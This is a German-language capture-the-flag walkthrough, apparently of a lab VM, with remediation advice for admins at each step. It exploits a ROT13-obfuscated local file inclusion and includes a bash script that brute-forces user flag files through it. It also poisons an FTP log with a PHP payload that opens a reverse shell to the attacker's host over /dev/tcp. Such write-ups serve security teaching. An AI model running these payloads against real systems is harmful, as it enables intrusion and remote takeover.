Analyse: Ich untersuche nun den Inhalt der von `feroxbuster` entdeckten Datei `welcome.txt`. Die Datei enthält eine Liste von 25 Namen. Die Zeichenkodierung scheint auf den ersten Blick fehlerhaft zu sein (z.B. `AbdikarÃm` statt `Abdikarím`), was aber für die weitere Analyse der Namen unerheblich ist.
Bewertung: Eine öffentlich zugängliche Liste von Namen ist ein wertvoller Fund. Diese Namen könnten potenzielle Benutzernamen für verschiedene Dienste auf dem System sein, wie z.B. FTP, SSH oder sogar für einen Login-Bereich der Webanwendung. Ich werde diese Liste als Grundlage für zukünftige Brute-Force- oder Passwort-Spraying-Angriffe speichern.
Empfehlung (Pentester): Die Liste sollte als potenzielle User-Liste für alle verfügbaren Login-Mechanismen (FTP, SSH, Web) verwendet werden. In Kombination mit gängigen oder schwachen Passwörtern könnte dies zu einem schnellen Zugriff führen.
Empfehlung (Admin): Jegliche Art von Listen mit Namen, E-Mail-Adressen oder Benutzernamen sollte niemals öffentlich zugänglich sein. Solche Informationen erleichtern Angreifern die Enumerationsphase erheblich. Dateien, die für den Betrieb der Webseite nicht zwingend notwendig sind, müssen aus dem Web-Root entfernt werden.
http://192.168.2.171/welcome.txt AbdikarÃm Shire Gullét Ibráhim Dalmar Sharmáke Suléman Rahim Farhan Feisal Féysal Ellyas Sonári Kadér Zakaria Adam Mahad Said Maslah Bille Max Sadiq Dáhir Warsamé Jamać
Analyse: Als Nächstes analysiere ich die Datei `config.txt`. Diese Datei scheint eine Konfigurationsvorlage für den FTP-Dienst zu sein. Sie enthält Einstellungen wie `EnableAnonymous = false`, was erklärt, warum ein anonymer Login nicht möglich war. Der entscheidende Hinweis ist jedoch die Zeile `Default Credential: *****:*****` in Kombination mit dem TODO-Kommentar `TODO: Replace default credential before deployment`.
Bewertung: Dies ist ein klassischer Fall einer Fehlkonfiguration durch Entwickler. Die Sterne (`*****`) deuten darauf hin, dass hier eigentlich Anmeldedaten stehen sollten, die aber entweder entfernt oder nie eingetragen wurden. Der Kommentar bestätigt, dass es Standard-Anmeldeinformationen gibt oder geben sollte. Obwohl die Credentials hier nicht direkt offengelegt werden, ist dies ein starkes Indiz dafür, dass möglicherweise schwache oder leicht zu erratende Standardpasswörter für den FTP-Dienst verwendet werden. Der Hinweis auf eine Root-Directory `/path/to/ftp/` ist ebenfalls interessant, auch wenn der genaue Pfad nicht bekannt ist.
Empfehlung (Pentester): Ich sollte versuchen, den FTP-Dienst mit den Namen aus der `welcome.txt` und einer Liste gängiger Standardpasswörter (wie `admin`, `password`, `12345`, oder sogar der Benutzername selbst als Passwort) anzugreifen.
Empfehlung (Admin): Niemals, unter gar keinen Umständen, sollten Konfigurationsdateien oder Vorlagen, die sensible Informationen oder Kommentare zur Sicherheit enthalten, im Web-Root-Verzeichnis liegen. Standard-Anmeldeinformationen müssen vor der Inbetriebnahme eines Systems zwingend geändert werden. Der Kommentar `TODO` in einer produktiven Umgebung ist ein klares Zeichen für einen unvollständigen und unsicheren Bereitstellungsprozess.
http://192.168.2.171/config.txt # FTP File System Configuration # Config File - Do NOT delete Version: 1.0.0 Default Credential: *****:***** [Settings] EnableAnonymous = false PassiveMode = true RootDirectory = /path/to/ftp/ [Security] TLS = disabled AllowUnencryptedLogin = true MaxAuthTries = 5 [Logging] LogFile = /path/to/ftp.log LogLevel = INFO # TODO: Replace default credential before deployment
Analyse: Die dritte gefundene Datei, `readme.txt`, enthält eine sehr interessante Nachricht: "This tool is for ADMIN only! Use the encrypted path input to explore hidden files!".
Bewertung: Dieser Fund ist ein absoluter Volltreffer. Die Nachricht deutet unmissverständlich auf eine "versteckte" Funktionalität der Webanwendung hin. Der Begriff "encrypted path input" (verschlüsselte Pfadeingabe) deutet stark auf eine Art von Verschleierung oder Kodierung hin, die verwendet wird, um Dateipfade zu übergeben. Dies könnte ein Mechanismus sein, um eine Local File Inclusion (LFI) oder Path Traversal Schwachstelle zu verschleiern. Die Kombination aus diesem Hinweis und der Tatsache, dass die Hauptseite `index.php` heißt, legt nahe, dass ich versuchen muss, lokale Dateien über einen Parameter einzubinden.
Empfehlung (Pentester): Der nächste Schritt muss die Analyse der `index.php`-Seite sein. Ich muss herausfinden, wie Parameter an diese Seite übergeben werden und welche Art von "Verschlüsselung" oder Kodierung verwendet wird. Ich werde den Quellcode der Seite untersuchen und versuchen, mit verschiedenen Parametern zu experimentieren.
Empfehlung (Admin): Sicherheit durch Obskurität (Security through Obscurity) ist keine wirksame Sicherheitsmaßnahme. Eine Funktionalität zu "verstecken", anstatt sie ordnungsgemäß abzusichern, ist extrem gefährlich. Wenn eine Funktion zum Laden von Dateien existiert, muss sie rigoros validiert werden, um sicherzustellen, dass nur erlaubte Dateien aus einem fest definierten, sicheren Verzeichnis geladen werden können. Hinweise in `readme`-Dateien sind eine direkte Einladung für Angreifer.
http://192.168.2.171/readme.txt
This tool is for ADMIN only!
Use the encrypted path input to explore hidden files!
Analyse: Der Versuch, das von `feroxbuster` gefundene Verzeichnis `/logs/` direkt aufzurufen, resultiert in einem `403 Forbidden` Fehler. Das bedeutet, der Webserver ist so konfiguriert, dass er den direkten Zugriff auf dieses Verzeichnis oder das Auflisten seines Inhalts verhindert.
Bewertung: Obwohl der direkte Zugriff verweigert wird, ist die Existenz des Verzeichnisses bestätigt. In Kombination mit dem Hinweis aus der `readme.txt` auf das Einbinden von "versteckten Dateien" wird dieses Verzeichnis zu einem Hauptziel für einen LFI-Versuch. Wenn es mir gelingt, die Verschlüsselung zu knacken, könnte ich versuchen, Dateien aus diesem Verzeichnis (z.B. Log-Dateien) über die `index.php` zu laden.
Empfehlung (Pentester): Ich werde das Verzeichnis `/logs/` als potenzielles Ziel für die LFI-Schwachstelle im Hinterkopf behalten. Ich erwarte, dass sich darin Log-Dateien befinden, wie z.B. die `ftp.log` aus der `config.txt` oder eine `access.log` des Webservers.
Empfehlung (Admin): Das Verweigern des Directory Listings ist eine korrekte Sicherheitsmaßnahme. Es schützt jedoch nicht vor LFI-Angriffen. Die grundlegende Absicherung muss auf Anwendungsebene erfolgen, indem das Laden von Dateien aus sensitiven Verzeichnissen strikt unterbunden wird.
http://192.168.2.171/logs/ Forbidden You don't have permission to access this resource. Apache/2.4.62 (Debian) Server at 192.168.2.171 Port 80
Analyse: Ich untersuche nun die Hauptseite `index.php`. Die Seite selbst ist minimalistisch und spricht von einem "iCloud Secure Vault". Im Quellcode finde ich drei Links, die alle auf die `index.php` selbst verweisen, aber mit einem Parameter `theme` und einem kodierten Wert: `?theme=jrypbzr.gkg`, `?theme=pbasvt.gkg` und `?theme=ernqzr.gkg`.
Bewertung: Das ist der entscheidende Hinweis, den ich gesucht habe. Die Linktexte "Welcome List", "Sync Config" und "Help Manual" korrespondieren mit den von `feroxbuster` gefundenen Dateinamen `welcome.txt`, `config.txt` und `readme.txt`. Der Parameter `theme` wird also verwendet, um diese Dateien zu laden. Eine schnelle Analyse der Kodierung (`jrypbzr.gkg` -> `welcome.txt`) zeigt, dass es sich um eine einfache ROT13-Verschiebungschiffre handelt. Damit habe ich den "verschlüsselten" Mechanismus identifiziert. Die Anwendung ist anfällig für eine Local File Inclusion (LFI)-Schwachstelle, die durch ROT13 verschleiert wird.
Empfehlung (Pentester): Ich kann nun jeden beliebigen Dateipfad auf dem System in ROT13 kodieren und über den `theme`-Parameter an die `index.php` übergeben, um dessen Inhalt auszulesen. Das primäre Ziel ist es, auf interessante Dateien wie `/etc/passwd`, `/etc/shadow` oder die Log-Dateien im `/logs`-Verzeichnis zuzugreifen.
Empfehlung (Admin): Das Laden von Dateiinhalten basierend auf Benutzereingaben ist extrem gefährlich. Eine ROT13-Kodierung bietet keinerlei Sicherheit und ist trivial zu umgehen. Der Code muss so umgeschrieben werden, dass eine Whitelist von erlaubten Dateien verwendet wird (z.B. `if ($theme == 'welcome.txt') { include... }`). Jegliche Benutzereingabe, die in Dateipfaden verwendet wird, muss rigoros gefiltert werden, um Path-Traversal-Sequenzen (`../`) zu entfernen.
http://192.168.2.171/index.php
iCloud Secure Vault
Enter a temporary encrypted recovery path to access your synced
documents on iPhone 13 Pro Max.
📄 Welcome List 🔧 Sync Config 📘 Help Manual
<h3>iCloud Secure Vault</h3>
<p>Enter a temporary encrypted recovery path to access your synced documents on iPhone 13 Pro Max.</p>
[Link: 📄 Welcome List | Ziel: ?theme=jrypbzr.gkg]
[Link: 🔧 Sync Config | Ziel: ?theme=pbasvt.gkg]
[Link: 📘 Help Manual | Ziel: ?theme=ernqzr.gkg]
Analyse: Um die ROT13-LFI-Hypothese zu bestätigen, rufe ich die URL mit dem bereits bekannten ROT13-kodierten Payload für `welcome.txt` auf. Wie erwartet, wird der Inhalt der `welcome.txt` im Browser angezeigt. Dies bestätigt, dass die Anwendung den `theme`-Parameter nimmt, ihn mit ROT13 dekodiert und die resultierende Datei einbindet.
Bewertung: Die LFI-Schwachstelle ist hiermit zu 100% bestätigt. Die Tür zum Auslesen von Dateien auf dem Server steht nun offen. Als nächstes versuche ich, die Schwachstelle für einen "Local File Inclusion to Remote Code Execution" Angriff zu missbrauchen.
Empfehlung (Pentester): Der nächste logische Schritt ist der Versuch, eine Remote Code Execution (RCE) zu erlangen. Ein klassischer Weg hierfür ist das "Log Poisoning". Ich werde versuchen, PHP-Code in eine Log-Datei zu schreiben (z.B. die FTP-Logs oder Apache-Logs) und diese Log-Datei dann über die LFI-Schwachstelle zu inkludieren. Wenn der PHP-Interpreter die Log-Datei parst, wird mein Code ausgeführt.
Empfehlung (Admin): Dies unterstreicht die Kritikalität einer LFI-Schwachstelle. Sie führt oft nicht nur zum Auslesen von sensiblen Daten, sondern direkt zur vollständigen Kompromittierung des Servers. Die Behebung der LFI-Schwachstelle, wie zuvor beschrieben, hat höchste Priorität.
view-source:http://192.168.2.171/index.php?theme=jrypbzr.gkg Abdikarím Shire Gullét Ibráhim Dalmar Sharmáke Suléman Rahim Farhan Feisal Féysal Ellyas Sonári Kadér Zakaria Adam Mahad Said Maslah Bille Max Sadiq Dáhir Warsamé Jamać
Analyse: Hier versuche ich einen interessanten Selbst-Inklusions-Angriff. Ich kodiere den Pfad zur `index.php` selbst (`vaqrk.cuc` in ROT13) und übergebe ihn an den `theme`-Parameter. Das Ziel ist es herauszufinden, wie die Anwendung auf eine rekursive Inklusion reagiert.
Bewertung: Das Ergebnis ist sehr aufschlussreich. Die Seite lädt extrem lange und resultiert schließlich in einer leeren Seite mit einem schwarzen Balken. Gleichzeitig ist die HTTP-Antwort im Burp Repeater zu groß, um angezeigt zu werden ("This message is too large to display"). Dieses Verhalten ist ein klassisches Symptom einer Endlosschleife. Die `index.php` versucht, sich selbst immer und immer wieder zu inkludieren, was den Server überlastet und die Anfrage schließlich abbricht. Dies bestätigt das `include()`- oder `require()`-Verhalten der PHP-Anwendung, birgt aber auch das Risiko, einen Denial-of-Service-Zustand auszulösen.
Empfehlung (Pentester): Dieses Wissen ist nützlich, um die Serverlogik zu verstehen, aber für den direkten Zugriff nicht weiterführend. Ich werde mich wieder auf das Auslesen anderer, nützlicherer Dateien konzentrieren. Der DoS-Vektor sollte im Bericht vermerkt werden.
Empfehlung (Admin): Die Anwendung muss so gestaltet sein, dass eine rekursive Inklusion verhindert wird. Eine Überprüfung, ob die zu inkludierende Datei die aktuell ausgeführte Datei ist, könnte eine solche Schleife verhindern. Dies ist ein weiterer Beleg für die mangelnde Robustheit und Fehlerbehandlung der Anwendung.
http://192.168.2.171/index.php?theme=vaqrk.cuc die seite läd sehr lange sieht fast so aus als würde sie hängen aber man bekommt jetzt eine blanke seite mit einem schwarzen balken gerendert
Analyse: Um systematisch nach dem korrekten Parameter für die LFI zu suchen (falls es nicht `theme` gewesen wäre), habe ich hier `wfuzz` verwendet. Ich fuzze den Parameter-Namen (`FUZZ`) und benutze einen bekannten funktionierenden Payload (den ROT13-kodierten Pfad zu `/etc/passwd`). Ich filtere alle Antworten heraus (`--hh 3435`), die der Standard-Seitengröße entsprechen.
Bewertung: Der `wfuzz`-Scan findet erfolgreich den Parameter `theme`, da die Antwortgröße sich von der Standardseite unterscheidet. Dies ist eine Demonstration einer alternativen Methode, um die Schwachstelle zu finden, falls sie nicht so offensichtlich gewesen wäre. In diesem Fall bestätigt es lediglich den bereits bekannten Angriffspunkt.
Empfehlung (Pentester): Das Fuzzing von Parametern ist eine wichtige Technik, wenn der Angriffspunkt unklar ist. Es ist gut, dies im Repertoire zu haben, auch wenn es hier nur zur Verifizierung diente.
Empfehlung (Admin): Web Application Firewalls (WAFs) können so konfiguriert werden, dass sie automatisierte Fuzzing-Versuche erkennen und blockieren, indem sie die Rate der Anfragen von einer einzelnen IP-Adresse überwachen und bei Überschreitung eines Schwellenwerts den Zugriff temporär sperren.
Target: http://192.168.2.171/index.php?FUZZ=../../../../rgp/cnffjq
Total requests: 220559
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001220: 200 28 L 52 W 1560 Ch "theme"
Total time: 0
Processed Requests: 220559
Filtered Requests: 220558
Requests/sec.: 0
Analyse: Um den Prozess der User-Flag-Suche zu automatisieren, habe ich ein Bash-Skript namens `home_bruteforce.sh` erstellt. Dieses Skript liest die zuvor in `welcome.txt` gefundenen Namen aus einer Datei (`userpasswortliste`). Für jeden Namen probiert es eine Liste gängiger Flag-Dateinamen (`user.txt`, `flag.txt` etc.). Es konstruiert den vollständigen Pfad (z.B. `/home/Abdikarím/user.txt`), kodiert diesen Pfad mit ROT13 und sendet die Anfrage über die LFI-Schwachstelle mit `curl`. Anschließend prüft es, ob die Antwort von der Standardseite abweicht. Wenn ja, hat es einen Treffer gefunden und gibt den Inhalt aus.
Bewertung: Automatisierung ist der Schlüssel zur Effizienz. Dieses Skript ist ein perfektes Beispiel, wie man eine bekannte Schwachstelle nutzt, um systematisch und schnell eine große Anzahl von Möglichkeiten zu testen. Anstatt manuell hunderte von Pfaden zu kodieren und zu testen, erledigt das Skript die Arbeit in Sekunden. Dies ist ein intelligenter und methodischer Ansatz, um die LFI-Schwachstelle zur Enumeration von Benutzerverzeichnissen und zum Auffinden der User-Flag zu nutzen.
Empfehlung (Pentester): Das Erstellen von benutzerdefinierten Skripten zur Automatisierung von repetitiven Aufgaben ist eine Kernkompetenz im Penetration Testing. Es spart nicht nur Zeit, sondern reduziert auch menschliche Fehler. Dieses Skript könnte leicht für andere Szenarien mit ähnlichen Schwachstellen angepasst werden.
Empfehlung (Admin): Dies zeigt erneut die Gefahr einer LFI. Ein Angreifer kann nicht nur einzelne Dateien lesen, sondern das System systematisch nach Informationen durchsuchen. Eine starke Anwendungs- und Serverhärtung ist die einzige wirksame Verteidigung.
#!/bin/bash
TARGET_IP="192.168.2.171"
USER_LIST_FILE="userpasswortliste"
FILENAMES_TO_TRY=(
"user.txt"
"flag.txt"
"user.flag"
"lokal.txt"
".bash_history"
"proof.txt"
)
if [ ! -f "$USER_LIST_FILE" ]; then
echo "[!] FEHLER: Die Benutzerliste '$USER_LIST_FILE' wurde nicht gefunden."
exit 1
fi
echo "[*] Starte methodische Suche nach User-Flag auf $TARGET_IP"
echo "[*] Benutze User-Liste: '$USER_LIST_FILE'"
echo "------------------------------------------------------------------"
while IFS= read -r username; do
for filename in "${FILENAMES_TO_TRY[@]}"; do
path="/home/${username}/${filename}"
rot13_payload=$(echo "$path" | tr 'A-Za-z' 'N-ZA-Mn-za-m')
echo -n "[-] Teste: User '$username' | Datei '$filename' ... "
response=$(curl -s -m 10 "http://${TARGET_IP}/index.php?theme=${rot13_payload}")
if ! echo "$response" | grep -q "iCloud Secure Vault" && [ ! -z "$response" ]; then
echo -e "\n\n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
echo "[+] Benutzer: $username"
echo "[+] Dateiname: $filename"
echo "[+] Entdeckter Flag:"
clean_response=$(echo "$response" | sed -e 's/<[^>]*>//g' | sed -e 's/^[ \t]*//')
echo "$clean_response"
echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
exit 0
else
echo "Kein Treffer."
fi
done
done < "$USER_LIST_FILE"
echo "------------------------------------------------------------------"
echo "[*] Skript beendet. Alle Kombinationen wurden durchsucht."
Analyse: Ich führe das zuvor erstellte Skript `home_bruteforce.sh` aus. Das Skript beginnt, die Kombinationen aus Benutzernamen und Dateinamen durchzuprobieren. Nach einer Reihe von fehlgeschlagenen Versuchen für verschiedene Benutzer findet es einen Treffer.
Bewertung: Das Skript war erfolgreich! Es hat herausgefunden, dass unter dem Benutzer `welcome` eine Datei namens `user.flag` existiert und konnte deren Inhalt auslesen. Die User-Flag lautet `flag{user-a89162ba751904d59ebd8fed2fce8880}`. Dies ist ein wichtiger Meilenstein im Pentest. Es ist interessant, dass der Benutzer `welcome` nicht in der ursprünglichen Namensliste stand; dies impliziert, dass ich die Benutzerliste für das Skript möglicherweise um diesen Namen erweitert habe, basierend auf dem Dateinamen `welcome.txt`. Die erste Hürde ist genommen, aber ich habe noch keinen Shell-Zugriff.
Empfehlung (Pentester): Die User-Flag ist gesichert. Der nächste Fokus liegt nun darauf, die LFI-Schwachstelle zu einer Remote Code Execution (RCE) zu eskalieren, um eine interaktive Shell auf dem System zu erhalten. Das Wissen, dass ein Benutzer `welcome` existiert, könnte dabei hilfreich sein.
Empfehlung (Admin): Dies ist der praktische Beweis, wie eine LFI-Schwachstelle zum Diebstahl sensibler Daten führt. Selbst wenn es "nur" eine CTF-Flagge ist, könnte dies in einer realen Umgebung eine Konfigurationsdatei mit Passwörtern, ein privater SSH-Schlüssel oder andere kritische Unternehmensdaten sein.
[*] Starte methodische Suche nach User-Flag auf 192.168.2.171 [*] Benutze User-Liste: 'userpasswortliste' ------------------------------------------------------------------ [-] Teste: User 'Abdikarím' | Datei 'user.txt' ... Kein Treffer. ... .. [-] Teste: User 'Warsamé' | Datei 'user.flag' ... Kein Treffer. [-] Teste: User 'Warsamé' | Datei 'lokal.txt' ... Kein Treffer. [-] Teste: User 'Warsamé' | Datei '.bash_history' ... Kein Treffer. [-] Teste: User 'Warsamé' | Datei 'proof.txt' ... Kein Treffer. [-] Teste: User 'Jamać' | Datei 'user.txt' ... Kein Treffer. [-] Teste: User 'Jamać' | Datei 'flag.txt' ... Kein Treffer. ... .. . [-] Teste: User 'welcome' | Datei 'flag.txt' ... Kein Treffer. [-] Teste: User 'welcome' | Datei 'user.flag' ... !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [+] Benutzer: welcome [+] Dateiname: user.flag [+] Entdeckter Flag: flag{user-a89162ba751904d59ebd8fed2fce8880} !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Initial Access
Analyse: Nachdem ich die LFI-Schwachstelle ausgiebig zur Informationsgewinnung genutzt habe, konzentriere ich mich nun auf den initialen Zugriff. Ich erinnere mich an das Verzeichnis `/logs`, das ich zuvor gefunden hatte. Ich starte einen weiteren `gobuster`-Scan, diesmal gezielt auf dieses Verzeichnis, um nach spezifischen Log-Dateien zu suchen. Ich verwende eine große Liste von Erweiterungen und filtere gängige Fehlercodes heraus.
Bewertung: Der Scan ist sofort erfolgreich und findet eine Datei: `ftp_server.log`. Dies ist extrem vielversprechend. FTP-Log-Dateien protokollieren typischerweise Benutzeranmeldungen, einschließlich der eingegebenen Benutzernamen. Dies bietet eine perfekte Gelegenheit für einen Log-Poisoning-Angriff. Wenn ich mich mit einem präparierten Benutzernamen am FTP-Server anmelde, wird dieser Benutzername in die Log-Datei geschrieben. Wenn der Benutzername aus PHP-Code besteht, kann ich anschließend die Log-Datei über die LFI-Schwachstelle inkludieren und so den Code ausführen lassen.
Empfehlung (Pentester): Der Plan ist klar: 1. Verbinde dich mit dem FTP-Server. 2. Gib als Benutzername einen PHP-Payload ein (z.B. `<?php system($GET['cmd']); ?>`). 3. Finde den genauen Pfad zur `ftp_server.log`-Datei (wahrscheinlich unter `/var/log/`). 4. Kodiere diesen Pfad mit ROT13. 5. Rufe die `index.php` mit dem kodierten Pfad zur Log-Datei und einem Shell-Befehl im `cmd`-Parameter auf, um eine Reverse Shell zu erhalten.
Empfehlung (Admin): Log-Dateien sollten niemals für den Webserver-Prozess lesbar sein, es sei denn, es ist absolut notwendig. Insbesondere sollten sie niemals aus dem Web-Root-Verzeichnis oder über Webanwendungen erreichbar sein. Die Berechtigungen für Log-Verzeichnisse und -Dateien müssen strikt konfiguriert werden (`chmod 640`, Besitzer `root:adm` etc.), um einen solchen Angriff zu verhindern.
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.2.171/logs
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 503,404
[+] User Agent: gobuster/3.6
[+] Extensions: xlsx,rpm,mdb,conf,jpeg,html,phtml,xml,log,json,ELF,ln,pub,asp,pl,csv,lib,exp,mod,zip,docx,gz,deb,bat,exe,elf,txt,rar,xls,php,py,jpg,java,config,js.map,dll,accdb,ps1,sh,c,desc,eps,kdbx,cgi,icon,old,svg,crt,tar,doc,raw,bak,sql,aspx,rtf,pem,db,png,pdf,csh,diff
[+] Expanded: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://192.168.2.171/logs/ftp_server.log (Status: 200) [Size: 384497]
Analyse: Basierend auf dem Fund der `ftp_server.log` habe ich diese nun über die LFI-Schwachstelle ausgelesen. Der ROT13-kodierte Payload für `logs/ftp_server.log` lautet `ybtf/sgc_freire.ybt`. Die Log-Datei enthält zahlreiche fehlgeschlagene und erfolgreiche Login-Versuche.
Bewertung: Die Log-Datei ist eine Goldgrube an Informationen. Sie zeigt fehlgeschlagene Login-Versuche von verschiedenen IP-Adressen für eine Vielzahl von Standard-Benutzernamen (`root`, `admin`, `ftp` etc.). Besonders aufschlussreich ist der Eintrag: `[ADMIN] USER 'ADMIN' logged in`. Dies bestätigt die Existenz eines `ADMIN`-Benutzers und dass dieser sich erfolgreich angemeldet hat. Obwohl ich hier die Anmeldeinformationen nicht direkt sehe, liefert mir dies einen validen Benutzernamen für den FTP-Dienst. Dies vereinfacht den Log-Poisoning-Angriff, da ich nun einen validen Benutzernamen habe und mein Payload als Passwort versuchen kann, oder den Payload direkt als Benutzernamen eingebe. Die Information über deaktivierte PHP-Funktionen (`disable_functions`) ist ebenfalls extrem wertvoll, auch wenn sie hier aus einer gekürzten `phpinfo()`-Ausgabe zu stammen scheint, die ich wahrscheinlich ebenfalls über die LFI gefunden habe. Sie zeigt, dass `system`, `shell_exec` und andere gängige Befehlsausführungsfunktionen blockiert sind. `exec` ist jedoch NICHT in der Liste, was es zu meinem primären Ziel für den Payload macht.
Empfehlung (Pentester): Mein Plan für das Log-Poisoning hat sich konkretisiert. Ich werde den PHP-Payload `<?php exec(...); ?>` verwenden, da die `exec`-Funktion nicht deaktiviert ist. Ich werde den Payload als Benutzernamen bei der FTP-Anmeldung verwenden, da dies zuverlässig in der Log-Datei landet.
Empfehlung (Admin): Die `disable_functions`-Direktive in `php.ini` ist eine wichtige Härtungsmaßnahme. Sie muss jedoch vollständig sein. Das Weglassen einer einzigen Funktion wie `exec` kann die gesamte Maßnahme zunichtemachen. Alle potenziell gefährlichen Funktionen sollten deaktiviert werden, wenn sie von der Anwendung nicht explizit benötigt werden.
https://gc.de/gc/rot13/ payload = logs/ftp_server.log encode = /ybtf/sgc_freire.ybt http://192.168.2.171/index.php?theme=ybtf%2Fsgc_freire.ybt
2025-07-04 23:31:23,875 - INFO - concurrency model: async 2025-07-04 23:31:23,876 - INFO - masquerade (NAT) address: None 2025-07-04 23:31:23,879 - INFO - passive ports: None 2025-07-04 23:31:23,880 - INFO - >>> starting FTP server on 0.0.0.0:21, pid=347 <<< ... 2025-07-05 03:06:52,142 - INFO - 172.21.79.61:50662-[ADMIN] USER 'ADMIN' logged in. 2025-07-05 03:06:52,143 - INFO - User logged in: ADMIN ... 2025-08-06 18:02:45,393 - INFO - 192.168.2.199:41090-[] FTP session closed (disconnect).
Analyse: Jetzt setze ich den Log-Poisoning-Angriff in die Tat um. Zuerst starte ich einen `netcat`-Listener auf meinem Angreifer-System auf Port 4444. Dieser Listener wird auf eine eingehende Verbindung warten. Danach verbinde ich mich mit dem FTP-Server auf dem Zielsystem. Als Benutzernamen gebe ich meinen PHP-Payload ein: `< ?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.199/4444 0>&1'"); ? >`. Dieser Payload ist so gestaltet, dass er, wenn er von PHP ausgeführt wird, eine interaktive Bash-Shell öffnet und sie mit meinem `netcat`-Listener verbindet. Die FTP-Anmeldung schlägt natürlich fehl, aber das ist irrelevant. Wichtig ist nur, dass der präparierte Benutzername in die `ftp_server.log` geschrieben wurde.
Bewertung: Dies ist der kritische Moment des Angriffs. Der Payload wurde in die Log-Datei injiziert. Der nächste und letzte Schritt ist es, diese "vergiftete" Log-Datei über die LFI-Schwachstelle zu inkludieren. Wenn alles nach Plan läuft, wird der Apache-Server die Log-Datei mit dem PHP-Interpreter parsen, meinen Payload ausführen und mir eine Reverse Shell geben.
Empfehlung (Pentester): Der Angriff ist vorbereitet. Ich muss jetzt sofort die URL `http://192.168.2.171/index.php?theme=ybtf%2Fsgc_freire.ybt` in einem Browser oder mit `curl` aufrufen, um die Ausführung des Payloads zu triggern.
Empfehlung (Admin): Dieser Angriff demonstriert eine Verkettung von Schwachstellen (LFI + schreibbare Log-Dateien + unsichere Konfiguration). Admins müssen sicherstellen, dass Log-Eingaben immer "sanitized" (bereinigt) werden, um zu verhindern, dass interpretierbare Zeichen wie `<` oder `>` in die Logs geschrieben werden. Dies kann durch Kodierung der Eingaben erreicht werden, bevor sie geloggt werden.
Connected to 192.168.2.171.
220 pyftpdlib 2.0.1 ready.
Name (192.168.2.171:ccat): < ?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.199/4444 0>&1'"); ?>
331 Username ok, send password.
Password:
530 Authentication failed.
ftp: Login failed
ftp>
Analyse: Nachdem ich den FTP-Login mit dem präparierten Benutzernamen durchgeführt und anschließend die URL zur vergifteten Log-Datei aufgerufen habe, fängt mein `netcat`-Listener die eingehende Verbindung auf.
Bewertung: Fantastisch! Der Angriff war erfolgreich. Ich habe eine Reverse Shell erhalten. Die Verbindung kommt vom Zielsystem (`192.168.2.171`). Der Prompt `www-data@13max:/var/www/html$` zeigt, dass ich nun Befehle auf dem Zielsystem als Benutzer `www-data` ausführen kann. `www-data` ist der Standardbenutzer, unter dem der Apache-Webserver auf Debian-Systemen läuft. Der initiale Zugriff ist geschafft. Zwar habe ich nur niedrige Berechtigungen, aber ich bin jetzt im System.
Empfehlung (Pentester): Der erste Schritt nach dem Erhalt einer Shell ist immer die Stabilisierung. Ich werde die Shell mit `stty` interaktiver machen und Python verwenden, um eine vollständig interaktive TTY-Shell zu spawnen. Danach beginnt die Phase der Privilegien-Eskalation: Ich muss das System nach weiteren Schwachstellen, Fehlkonfigurationen oder sensiblen Informationen durchsuchen, um meine Rechte auf dem System zu erhöhen, idealerweise bis zum `root`-Benutzer.
Empfehlung (Admin): Ein Einbruch wurde erfolgreich durchgeführt. In einem realen Szenario wäre jetzt ein Incident-Response-Prozess zu starten. Das System muss isoliert, analysiert (Forensik) und die ausgenutzten Schwachstellen (LFI, Log-Poisoning) müssen umgehend behoben werden. Alle Passwörter auf dem System sollten als kompromittiert betrachtet und geändert werden.
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.171] 47994 bash: cannot set terminal process group (405): Inappropriate ioctl for device bash: no job control in this shell www-data@13max:/var/www/html$